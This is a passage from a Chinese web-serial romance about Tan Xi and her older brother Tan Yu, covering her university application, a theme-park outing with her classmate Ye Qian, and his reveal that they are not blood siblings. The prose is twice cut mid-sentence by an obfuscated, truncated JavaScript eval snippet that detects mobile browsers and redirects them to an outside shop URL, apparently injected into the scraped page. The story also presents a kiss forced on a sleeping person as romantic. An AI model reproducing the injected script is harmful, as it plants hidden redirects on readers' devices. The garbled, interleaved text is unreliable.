宋展略显诧异:“燕北是首都,学校也多,你这么高的分数,不打算报这里的学校吗。”话末,朝着谭禹抬抬下巴:“你哥哥也在啊。” 谭禹放在腿侧的手微微蜷起,额角紧绷着,他也同样期待谭溪的答案。 谭溪只是摇头:“不打算,我想留在熟悉的地方。” 如果留在燕北,谭禹会是她唯一的快乐,如果回家,谭禹会是唯一的念想,相较之下,她选后者,任何人都没有她自己的感受重要。 没什么的,以后上了大学,她每个周末都会来找谭禹,把空闲的时间全部留给他。 她坚定的语气让谭禹陷入失语,他脑海中忽然闪过一个荒谬的念头,或许谭溪对他的喜欢,不过是高考过后无聊的消遣,等她迈入大学,有了新的生活,这些就会被她抛之脑后。 他扪心自问,这样不好吗?他可以一直装到谭溪离开那天,届时扰乱他心神的一切都会随着她的离开结束。 这好像是最佳的解决方案,可谭禹却没觉得半点轻松,反而有种窒息般的压抑感。 “喂,家长什么意见啊?”宋展用教棍点点谭禹的胳膊,示意他开始发言。 谭禹缓慢的抬起眼睛,目光沉静如水:“不用问我,都听她的。” 谭溪和宋展同时啊了一声。 后者在于,印象中的谭禹把妹妹照顾的无微不至,填报志愿这样的大事他怎么可能会无动于衷。 谭溪亦是这个心理,她原本以为,谭禹会给出一些建议,但没想到他竟对她的一切都照单全收。 看着面前这两双同样诧异的眼睛,谭禹摆出好哥哥的架势:“强扭的瓜不甜,你做什么决定,我都同意。” 无论家里的条件还是他的收入,都足以让谭溪不考虑任何就业压力去选择一个喜欢的专业,所以她只要考虑喜欢什么就行了。 谭溪要落泪了,尤其是在得知纱纱正为了她的梦想跟家里抗争的情况下,她晃着谭禹的胳膊撒娇:“哥哥你真好。” 被她握住左右摇晃的胳膊如同那颗被反复磋磨的心。 谭禹盯着她看了几秒,错开视线。 接下来是宋老师发挥的时间,在和谭溪的交谈中,两人根据院校和专业框定了一个范围,首当其冲的是南大,排在后面的是另外几所南城的高校。 南城虽然比不得首都,但也是高校林立的城市,有很多选择。 谭禹坐在另一端,聆听着两人的交谈,那一所所学校,横贯在他和谭溪之间,把他们之间的距离越拉越远,他能看到谭溪在离他远去。 内心徒生出些许烦躁,他握住了领带的顶端,想扯的松散些,让自己呼吸的更顺畅,可停在上面的手到底还是又落了回去。 算了,既然已经说了不发表任何意见,就不要做出这些暗含反对意味的举动。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174735|196892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 两人的对话终于到了末尾,谭溪出门上厕所,宋展把罗列好的顺序给谭禹看,自言自语:“来,让你过目一下,其实妹妹报南大就很稳,这个专业去年的录取分数线...” 谭禹只在上面扫视了一遍,便说:“宋展,写一份燕北学校的单子给我。” 宋展惊讶的张大嘴巴,拿笔在纸上写字:“不是说...” 还没写完,又被谭禹幽幽打断:“我听得见。” 宋展吓得笔都掉了,跟看鬼一样看着他,浑身起鸡皮疙瘩:“我去,你什么情况?装聋?你故意的?” 谭禹没有跟他解释的义务,简单明了摆出自己的诉求:“别那么多废话,别告诉谭溪,把学校写给我看。” 宋展愤愤咬牙,最后败于金钱的淫威之下,重新列了个单子给谭禹,顶替南大的,是位于谭禹母校几步之遥的顶尖名校。 宋展多言几句:“你想让妹妹来……” “谁是你妹妹,叫她的名字。” 宋展彻底绷不住了,骂他:“你大爷的,你有病吧。”骂完还是要继续微笑服务,“你想让小溪来燕北,可以直接了当的告诉她,南城虽然不错,但毕竟比不得首都,这里的教育资源和社会资源都是顶尖的。小溪看着很乖啊,你跟她多谈谈。” 没有一个乖妹妹会在哥哥熟睡的时候偷吻他,这真是对谭溪最大的误解。 谭禹为他的评价一瞬失笑,他摇头:“她认定的事,不会轻易改变。” 笃定的回答让宋展炸了,他一拳头砸在谭禹肩膀上:“你都知道?那你还让我写什么写?玩儿我呢?不付我两份的价钱这事儿没完。” 谭禹则为这句话陷入停滞,是啊,他为什么还要在已知的结果面前死死挣扎呢,谭溪不会改变的。 两份志愿清单,一份给谭溪,一份留给谭禹,宋展亲自送这对心怀鬼胎的兄妹离开。 临走之前,他看着为谭溪撑伞的谭禹,皮笑肉不笑的补充一句:“小溪,记住宋哥哥说的话,你哥最会使坏了。” 谭溪对他笑着挥手:“我知道啦,宋哥哥再见!” 说着,她自觉挽上谭禹的手臂,两人同在一片伞面下离开。 走远几步后,谭禹忽然听到谭溪自言自语:“哥哥才不坏,哥哥是世界上最好的哥哥。” 完全信任和依赖的口吻让谭禹放置在口袋里的那张纸变得有点儿硌人。 好哥哥?哪里会有费劲心思诱哄妹妹留在自己身边的好哥哥呢。 他又为自己卑劣的心思生出几分愧疚,是他说了尊重谭溪,如果真的摆筹码让她留在燕北,不是自相矛盾吗。 更何况,留在燕北,继续和他没有分寸的相处,算怎么回事。 走在悬崖边上的人好像终于明白自己的行径有多么吓人。路过垃圾桶,谭禹悄无声息地把那张纸扔了进去,好像它从未存在过,更像是对自己的警告。 报志愿那天,谭禹不让她拖到最后,而是早早地把谭溪薅到电脑边,亲眼看到她把宋展罗列的院校一个个填上去。 提交过后,心总算落下,可落的不是平地,而是布满荆棘的荒野。 “终于报完了,好累啊...”谭溪提交完之后,泄力般趴到桌子上,一手垫着脑袋,一手夹着黑笔来回翻转,动作灵活。 谭禹靠着桌边,正对着她,问:“想出去玩吗?” 虽然他并不认为这种天气适合出游,但一直待在家里也无聊,倒不如带谭溪出去逛逛,分散一下她的注意力。 谭溪对他摇头,脸颊上的肉被压成一团,说话时嘴唇嘟着:“哪都不想去,就想跟哥哥待在家里。要是能跟哥哥接吻就好了,坐在哥哥身上,一口一口吃掉哥哥,可惜,找不到机会呢。” 这些话凭空冒出来,吓得谭禹险些站不住,他实在无法维持跟谭溪的对视,薄唇抿起,离开这片是非之地。 这个小疯子。 谭禹一直在想,要用什么样的方式,在不伤害兄妹感情的前提下让她分清楚恋人和哥哥的区别。 看着跟综艺节目一起傻乐的妹妹,他忍不住一阵头疼,不到三十的年纪,他的白头发就要吱哇哇冒出来了。 暂时没想到,谭禹决定离开这里,他真怕再从谭溪嘴里蹦出什么惊天地的词汇:“我去睡了,小溪,你也早睡。” 谭溪头都没回的跟他挥手说拜拜,继续咬着零食看电视。 一直等到将近凌晨,她才打着哈欠从沙发站起来去睡觉,进门之前,她照例朝谭禹的房门看了一眼。 只是一眼,前进的脚步便生生顿住。 从来都是紧闭着的房门,今晚竟然留了条缝。 18. 听见了 用手轻轻一推,门就开了。 明知他听不到,可谭溪还是不自觉放轻脚步,像踩在羽毛上。 她缓步走到床边,看到熟睡中的谭禹。他睡觉有留夜灯的习惯,昏黄的灯光照着深邃的面孔,为立体的轮廓镀上一层淡淡的光辉。 谭溪发出一声轻笑,手指扫过他的眉眼,声音轻到近乎呢喃:“百密一疏,哥哥你也有今天啊。” 这跟引狼入室有什么区别? 谭溪不会放过这个机会的。 盯着那张看了十几年也看不厌的脸好半天,看够之后,谭溪才缓慢弯下腰,双手撑在他的两侧。 松垮挽着的头发随着低头的动作从耳边垂落下来,比谭溪先一步落到谭禹嘴上,谭溪瞪了眼坏事的头发,快速拂开,自己压了上去。 切实贴在哥哥唇上的时候,有种无法言语的感觉萦绕在心尖,很像她小时候骑自行车从最高处往下飞,酥麻和拉扯感从小腹一路攀升,刺激着每根脑神经。 奇妙的感觉让人上瘾。 她又往下压了压,陷进去的部分感受到点点湿润,哥哥的嘴巴里有种牙膏的清凉气息。 谭溪接吻的时候不会闭眼,而是直勾勾的盯着谭禹看,他睫毛轻颤,似乎在梦中遇到了什么难事。 谭溪想,要是哥哥也睁着眼,同她一起痴缠就好了,一个人唱独角戏很没意思的。但这是第一次,总不能要求太多。 她很快哄好自己,浅尝辄止后,又盯着谭禹的唇瓣看了一会儿,接着露出舌尖,颤颤巍巍的贴上去,软滑的小舌在唇瓣上□□,又钻过闭合的两瓣,撞击在坚硬的牙齿上。 谭溪像找到什么有趣的游戏,来回尝试。 直到她动动鼻尖,闻到草莓棒的味道终于浸染了谭禹的嘴唇。 谭禹不喜欢吃甜食。她生出几分歉意,双手合十,虔诚的道歉:“不好意思哥哥,我还没刷牙。”又打了个哈欠,困意袭来,谭溪在他脸颊上留下个响亮的吻,“哥哥晚安,我去睡觉啦。” 至此,门才真正落上。 翌日天光大亮,谭溪一出门,就瞧见谭禹伫立在窗边的身影,随意抽了根昨晚没吃完的草莓棒,她衔在嘴里,朝着他走过去。 谭溪刻意放慢脚步,一步、两步,落在他身后,踮起脚尖,双手捂住他的眼睛,佯装大盗:“猜猜我是谁!” 手被握住拉下来,背对着她的人也转过身来,谭溪看到他眼底还没来得及收回去的暗涌,脑海中闪过一丝疑惑,她刚想问,又看到恢复如常的谭禹,好像那丝异常只是她的错觉。 谭溪抽出放在嘴巴里的零食,把另一端抵在谭禹唇边,刚碰上,又收回来,她摆出懊恼的神色:“啊哦,忘了你不喜欢吃这个。” 她面不改色的把谭禹碰过的那端放进嘴里,舌尖在上面轻轻擦过。 谭禹没有说话,长睫掩盖着的目光停留在她吞咽着食物的嘴巴上。 再不喜欢,他不也尝过了。 谭溪吃饱后,告诉谭禹一个消息。 “哥哥,我有一个同学要来燕北,约了我一起出去,所以..你自己在家要小心哦。” 表情、语气全都正常,看来没有撒谎。 谭禹抿了口水,问:“确定是同学,不是又要瞒着我做什么事?” 他是说上次瞒着他去见李舟妈妈的事吗? 谭溪笑笑,打字解释。 “这次真的是同学,他报完志愿要来燕北玩,知道我也在,就顺便约我了。哥哥你放心,我不会再骗你啦。” 他? 谭禹盯着那个字,不确定究竟是她的笔误,还是事实真就如此,他又喝了口水:“你们要去哪?” “环球影城吧,别的景点他都去过了。” 又是他? 谭禹摆出思索状:“去那里的话,回来要很晚了。”在谭溪灼灼的注视下,他的话转了个弯,习惯性的嘱咐她:“注意安全。” 好哥哥不仅不会干扰妹妹报志愿,更不会插手妹妹的交友。 谭溪点点头,嘀咕着要去房间里换衣服。 谭禹看着她每根头发丝都写着开心的背影,不紧不慢地去了厨房。 收拾好自己,临出门前,谭溪忽然听到电磁炉的警报声。 她快走几步,看到已经烧干的小锅散发出阵阵白烟,而谭禹在客厅看报表,对此没有丝毫反应。 他听不到... 谭溪看看烧干的锅子,又看看专注的谭禹,瞬间脑补出他一个人在家突遭意外的画面。为了谭禹的安危,也为了自己的幸福,她痛定思痛,做出一个决定。 “哥哥,你跟我一起出去吧。” 谭禹放下手边的文件,看着那行字,神色认真:“不方便吧。” 谭溪摆手:“有什么不方便的,你这种情况任何人都能理解。” 说着,她给同学说明情况,得到对方肯定的回复后,对谭禹比了个OK的手势。 打量她一眼,谭禹这才从椅子上慢慢起来:“那好,我去换身衣服。” 兄妹两人一起出发往约好的地方出发。 谭禹在检票口见到了“他”。 他穿条纹衬衫外套,里面配了件白T,浑身上下洋溢着一股青春的气息,谭禹的目光在他领口的位置停留许久。 “叶虔,这是我哥哥,谭禹,我跟你解释过的。” 谭溪尽职尽责,为两人做介绍,谭禹从她口中得知,这个叶虔,是她的同班同学,更是关系不错的好朋友。 瞧着年轻男孩脸上紧张的笑容和频频投向谭溪的羞涩目光,他在心里冷嗤,什么朋友... 明明就是喜欢他的妹妹。 但好哥哥不该对妹妹的朋友,不,追求者,表露太多恶意。谭禹指指自己的耳朵,说:“希望不会打扰到你们。” 叶虔连连摇头,自觉地站到谭溪身侧的位置,跟她低声私语:“谭溪,你哥哥看上去好年轻啊,我听纱纱说你们差十岁呢。” 谭溪扬起下巴:“我哥哥长得帅呗。” 叶虔嘀咕一句:“是,你们家基因好。” 谭禹脸色一沉,就这破嘴还追他妹妹,下辈子吧。 两人又谈起填报志愿的事,谭禹听到叶虔扭扭捏捏的说他刚巧也报了南大,虽然跟谭溪不是一个专业,但离得很近,有空可以一起玩。 谭禹听着不像巧合,倒像是有人故意为之。他用考量的眼神审视这个男孩,成绩不错,外型尚可,除了说话不中听,目前还找不到别的缺点。 身为哥哥考察一下妹妹的追求者,是他分内的事,亦是他此行的目的,如果谭溪有了可以玩耍的同龄人,大概能降低对他的过分关注。 夏日没有打消游客的热情,园区里随处可见各种年轻的面孔,人多了哪里都要排队,尤其是热门项目,就算是买了优速通也做不到畅通无阻。 禁忌之旅排起长龙。随着人群挪动的间隙叶虔慷慨递出胳膊给谭溪:“待会儿害怕了就抓着我,我保护你!” 谭溪还没答应,谭禹就先忍不住在心里嗤笑。 怕? 他还真没见谭溪怕过什么。 凶禽猛兽、鬼怪志异、就没他妹妹怕的东西,越刺激她反而越兴奋。 这小子纯粹自作多情。 谭溪拍走叶虔的胳膊,笑眯眯:“谢谢你哦。” 潮湿和阴暗的环境方便游客更加沉浸式的体验,叶虔看着周围的一切,底气不足的对谭溪说:“谭...谭溪..待会儿你怕的话就拉住我的胳膊...” 谭溪想笑,这么暗的灯光都藏不住叶虔脸上的恐惧,到底谁怕啊? 心底的小恶魔蠢蠢欲动,她吐出舌头翻着白眼,在叶虔转过头的瞬间猛地凑上去:“叶虔...” 在环境的加持下,叶虔被吓蒙了,尖叫声噎进嗓子里,木木的看着谭溪。 趁他发愣,谭禹推推谭溪的肩膀,换到两人中间的位置。 谭溪还在关注叶虔,见他一直愣住不说话,才意识到他是真的被吓到了,连忙道歉:“叶虔...对不起叶虔,你还好吗?” 叶虔重重的喘了口气,好像刚被从水里捞出来,他嘴上对谭溪说着没事,手却诚实的拉住谭禹的胳膊。 就算再害怕,他也不能在喜欢的女孩面前表露出来,谭禹哥一看就很可靠。 谭禹没什么情绪的看他一眼。 收回眼神的同时,另一边胳膊也被抓住,他侧过头,看到谭溪扁着嘴巴扒着他的身体,做出一副可怜兮兮的姿态。 谭禹真要气笑了,他是耳朵不好,不是瞎了。 谭溪拿人当狗耍吗? 游玩之后,午饭顺便在这儿解决。 谭禹点了几款热销的餐食,还给谭溪买了顶定无牙仔帽子,套在她脑袋上,狡黠又可爱。 因为天气炎热而有些烦躁的心情被瞬间治愈,就连看叶虔也顺眼很多,他又一次确信,谭溪拥有让人心情变好的魔力。 三人坐在一起吃饭。 黄油啤酒不合谭溪的胃口,她只抿了一口,就嫌弃的递给谭禹:“不好喝。” 谭禹顺手接过,就着杯沿上的唇彩印记,覆盖上去。 印在妹妹嘴唇上的味道,出现在他的唇间,那远比饮品的味道更醇厚,霸道的充斥着他整个口腔。 叶虔哈哈一笑,口吻里的熟稔藏不住:“我早说了你不会喜欢那个口味的,你忘了以前我们吃菠萝包,里面的夹心都是我解决的。” 共享一份东西?他们真的只是普通同学的关系吗?如果今天不是他在,那这份被谭溪不喜的食物,是不是会落入叶虔口中? 谭禹看着饮品上的白色泡沫,以及被叶虔细心放在谭溪碟子中的牛肉,忽然觉得味如嚼蜡。 他想自己要适应的不仅是妹妹的独立,还有她的身边可能会出现另一个人这种可能。 饭后原地休整一会儿,三人又继续出发。 迎面碰上乐园门口的卡通雕塑,两个人用搞怪的表情肆意摆拍,谭溪叹口气:“要是纱纱也在就好了,不知道她跟家里聊的怎么样了。” 看得出她有些惆怅,叶虔安慰道:“以后还有机会我们一起再来,你放心,叶叔叔他们斗不过纱纱的。” 谭禹插不进他们之间的话题,只是面无表情的攥紧了无牙仔的耳朵,那是谭溪嫌热塞在他手里的帽子,他该庆幸,谭溪还记得他的存在。 两个人拍完,叶虔自告奋勇:“我帮你跟谭禹哥拍张合照。” 吃喝玩乐都是谭禹出的钱,他得有所表示,不能只吃干饭。 谭溪有些犹豫的看向谭禹,哥哥不喜欢拍照.... 只是还没来得及询问,肩膀就已经被他的掌心盖住,谭溪顺势而下,顺势把脑袋倒在他的胳膊上,流露出对哥哥的亲昵和依赖。 她戴着谭禹买的小熊头箍,身上挎着背包,在镜头里十分灵动可爱,谭禹身上的冷肃也被此融化。 叶虔按下快门,心想,他们的兄妹感情可真令人羡慕,什么时候他能和自己的妹妹和平相处呢。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174736|196892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>园区内排队的人比小黄人还多,人挤人的时候,谭禹听到叶虔跟谭溪聊天:“真可惜,当时神偷奶爸4上映的时候你没去。” 谭溪笑着打哈哈:“有事嘛...” 没有具体缘由的有事都是借口。 真相是谭溪只想跟谭禹一起看。从第一部开始的每一部,都是跟哥哥一起的,这对谭溪来说,有种特别的含义。她总有股莫名其妙的固执。 谭禹朝他们投去一眼,也被这个名字勾起回忆。 记得那是去年,彼时的他被困在公司和医院抽不开身,百忙之中瞥见了电影的宣传海拔,鬼使神差,他买了票一个人去看。 影厅近乎于满座,除了情侣就是带孩子的家长,他一个独身男人在其中很显眼,因此他自然而然的觉得少了点儿什么,现在想想,大概是因为谭溪不在。 如果是和她一起,一定不会那么无聊。 不停地玩到晚上,谭溪脸上终于有了疲色,恰好碰到一个排队人数很少的项目,于是就借此来休息。 夜色中,这些灯笼是唯一的光彩。 排队上去的时候叶虔快走几步,挤过谭禹,坐在谭溪旁边,谭禹看了一眼笑着聊天的叶虔和谭溪,没说什么,沉默着坐到他们对面的位置。 灯笼转的不快,起伏坡度平缓,谭溪看了圈四周,觉得很无聊,直到... 她发现自己正对着谭禹,她终于找到有趣的东西。 她不再左顾右看,而是将目光停留在他脸上,一下都不肯挪移。 今天叶虔在,她的精力大多都在招待朋友上,自然少了几分对哥哥的关注。 灯笼在黑夜中变换着不同的色彩,微弱的光芒打在他脸上,每种颜色都被赋予不同的感受。 谭溪在灯光下看到不同的谭禹,这让她觉得新奇,她舍不得移开眼睛,紧盯着他。 看的出神,一直垂着眼睛的人忽然掀起眼帘,撞进谭溪的视线。 交汇后视线宛如胶着,谁都没有移开,谭溪大胆而直白,借着昏暗的夜色,毫不掩饰自己的爱恋,谭禹则内敛许多,只是用长久的直视来回应。 谭溪的目光直白到难以忽视,但他不该抬头的,可是想到跟她并肩而坐的叶虔,想到两人之间的亲密和熟稔,他还是抬起了头,企图用眼神质问她。质问她为什么要冷落他、忽视他、质问她明明说过最喜欢哥哥可眼睛却看向了别人。 但和她对视那一刻,拧着的气四处散去,什么都不重要了。 无形的、即使是断了也会藕断丝连的线将他们紧紧缠绕在一起,一圈又一圈,从外到内的穿插在谭禹身体的各个角落,明知太过紧密会喘不过气,会窒息而死,可他还是任由自己被死死绞着。 灯笼起伏的坡度不再平缓,每一次摇晃都像是巨浪。 妹妹在笑,但谭禹却有种...末日来临的濒死感。 晃悠着的灯笼终于停下,叶虔跟谭溪吐槽:“这个好无聊啊...” 谭溪扭扭捏捏的笑:“我觉得不无聊啊..” 至少在她跟哥哥对视上的那一刻,这个项目就变得浪漫起来。 谭禹落后他们半步。 闭园后,谭禹叫了车来接送。 谭溪玩了一天,上车挨着座椅就睡着了,谭禹确认她睡熟后,转过头看向窗外。 在灯笼上漫游的画面,又一次出现在他脑海里。 谭溪的目光,谭溪的笑,更重要的是他心里的种种波动。 他不该回应她的目光,更不该来多此一举来这里,如果留在家里工作,是不是就能避免这些? 夜晚的车窗是个取景框,不仅能看到外面,也能看到里面。 谭禹看到叶虔微微探身,小心翼翼拂开谭溪脸颊边的碎发,接着露出一个极为羞涩的笑容,他看看谭溪,又转过去,但又忍不住偷偷露出眼睛瞧她。 少年人的心思一览无遗。 谭禹忽然牵起了唇角,懂得谭溪的口味和喜好,能陪谭溪一起玩,行为举止没有轻浮和急躁,这个叶虔,能称得上一句不错。 他默默给出良好的评价,可却没有半点想要庆贺的心情。他静静看着车窗里的一切,眼底一片冰冷。 司机按照导航先送了谭溪他们,车子停下,谭溪困得睁不开眼,叶虔喊着也只是半眯着眼睛,见状,叶虔自告奋勇:“要不我...” 他想说他可以送谭溪回去,可话还没说完,就见谭禹已经弯腰抱起了谭溪,谭溪也十分熟练的钻进他的怀里,她手脚并用,缠在谭禹身上。他们之间流露出来的姿态太亲密了,好似理所当然,没有第三个人能插进去。 叶虔只能调转方向,对谭禹露出笑容,打出一行打字给谭禹看:“谢谢哥哥的招待,今天玩得很开心,以后我也要向你一样做个好哥哥,哥哥再见!” 谭禹的视线在‘好哥哥’上定格几秒,随后点头,抱着谭溪离开。他腾出一只手,将谭溪扬在半空中的脑袋按在自己胸前,让她完全依赖在他的身前。 他提起脚步往前走,迈出去的瞬间,忽然听到谭溪小声嘟囔一句。 “叶虔...” 放在腰上的手掌骤然收紧,谭禹垂眸看她,发出一声极为短促的、牙齿摩擦的声音。 隐忍着的一切悉数坍塌,他看着谭溪微微点了下头,忽而转身,对着探出大半个身子相送的叶虔说:“对了,谭溪大概没告诉过你,我们不是亲兄妹。”如愿以偿看到男孩脸上的惊愕,他露出很淡的笑容,送上真挚的祝福,“祝你旅程愉快,再见。”